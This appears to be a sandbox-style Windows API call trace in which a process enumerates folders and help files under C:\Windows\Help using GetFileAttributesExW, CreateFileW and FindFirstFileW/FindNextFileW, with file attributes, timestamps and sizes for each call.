	[0086.769] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Help\\en-US\\stopwrds.stp" (normalized: "c:\\windows\\help\\help\\en-us\\stopwrds.stp"), fInfoLevelId=0x0, lpFileInformation=0x123a7ae8 | out: lpFileInformation=0x123a7ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xad902759, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x584)) returned 1
	[0086.769] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\OEM" (normalized: "c:\\windows\\help\\oem"), fInfoLevelId=0x0, lpFileInformation=0x123a7b38 | out: lpFileInformation=0x123a7b38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe41f9ee, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe41f9ee, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xceedaa29, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.770] CreateFileW (lpFileName="C:\\Windows\\Help\\OEM" (normalized: "c:\\windows\\help\\oem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.770] FindFirstFileW (in: lpFileName="C:\\Windows\\Help\\OEM\\*", lpFindFileData=0x124e797c | out: lpFindFileData=0x124e797c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe41f9ee, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe41f9ee, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xceedaa29, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.770] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe41f9ee, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe41f9ee, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xceedaa29, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.770] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.770] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.770] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows" (normalized: "c:\\windows\\help\\windows"), fInfoLevelId=0x0, lpFileInformation=0x123a7b88 | out: lpFileInformation=0x123a7b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d967bdb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.770] CreateFileW (lpFileName="C:\\Windows\\Help\\Windows" (normalized: "c:\\windows\\help\\windows"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.770] FindFirstFileW (in: lpFileName="C:\\Windows\\Help\\Windows\\*", lpFindFileData=0x124e797c | out: lpFindFileData=0x124e797c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d967bdb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.770] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d967bdb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.771] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d967bdb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x91c72bf0, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0086.771] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.771] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.771] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US" (normalized: "c:\\windows\\help\\windows\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x123a7c28 | out: lpFileInformation=0x123a7c28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d967bdb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x91c72bf0, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.771] CreateFileW (lpFileName="C:\\Windows\\Help\\Windows\\en-US" (normalized: "c:\\windows\\help\\windows\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.771] FindFirstFileW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d967bdb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x91c72bf0, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.773] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d967bdb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x91c72bf0, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.773] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e5de, dwReserved0=0x0, dwReserved1=0x0, cFileName="access.h1s", cAlternateFileName="")) returned 1
	[0086.773] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe447fcf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe447fcf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x185c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="activ.h1s", cAlternateFileName="")) returned 1
	[0086.773] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc746, dwReserved0=0x0, dwReserved1=0x0, cFileName="anyupgr.h1s", cAlternateFileName="")) returned 1
	[0086.773] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5986, dwReserved0=0x0, dwReserved1=0x0, cFileName="app3rd.h1s", cAlternateFileName="")) returned 1
	[0086.773] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x20b27, dwReserved0=0x0, dwReserved1=0x0, cFileName="appman.h1s", cAlternateFileName="")) returned 1
	[0086.773] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe447fcf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe46e288, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xebe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="appwin.h1s", cAlternateFileName="")) returned 1
	[0086.773] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa47cb2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xaa47cb2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb1e1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="artcon.h1s", cAlternateFileName="")) returned 1
	[0086.773] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ff90, dwReserved0=0x0, dwReserved1=0x0, cFileName="artcon2.h1s", cAlternateFileName="")) returned 1
	[0086.773] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa988f15, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa988f15, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcdf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="artcon3.h1s", cAlternateFileName="")) returned 1
	[0086.773] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc8ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="artcon5.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3080a8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8040f, dwReserved0=0x0, dwReserved1=0x0, cFileName="artcon6.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd0c13, dwReserved0=0x0, dwReserved1=0x0, cFileName="articon.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99bae7b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x99bae7b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4d0b76, dwReserved0=0x0, dwReserved1=0x0, cFileName="artui.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xfb408, dwReserved0=0x0, dwReserved1=0x0, cFileName="artui2.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc422e, dwReserved0=0x0, dwReserved1=0x0, cFileName="artui3.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x10a7a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="artui4.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9824f, dwReserved0=0x0, dwReserved1=0x0, cFileName="artuimedia.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae47c2bc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxdisp.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x76a6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="basics.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1961a, dwReserved0=0x0, dwReserved1=0x0, cFileName="basics2.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec7b58e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xec7b58e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x27eec, dwReserved0=0x0, dwReserved1=0x0, cFileName="bckupbas.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe40e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blutooth.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6267852, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x53399a00, ftLastWriteTime.dwHighDateTime=0x1ca0427, nFileSizeHigh=0x0, nFileSizeLow=0xff635, dwReserved0=0x0, dwReserved1=0x0, cFileName="browser.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x753b, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttons.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46e288, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe46e288, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5140a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desk.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2dc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="deskpr.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x129a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dgloss.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6df, dwReserved0=0x0, dwReserved1=0x0, cFileName="diskcln.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b0b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="diskmgt.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x700b, dwReserved0=0x0, dwReserved1=0x0, cFileName="domain.h1s", cAlternateFileName="")) returned 1
	[0086.774] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae47c2bc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x19903, dwReserved0=0x0, dwReserved1=0x0, cFileName="dvdburn.h1s", cAlternateFileName="")) returned 1
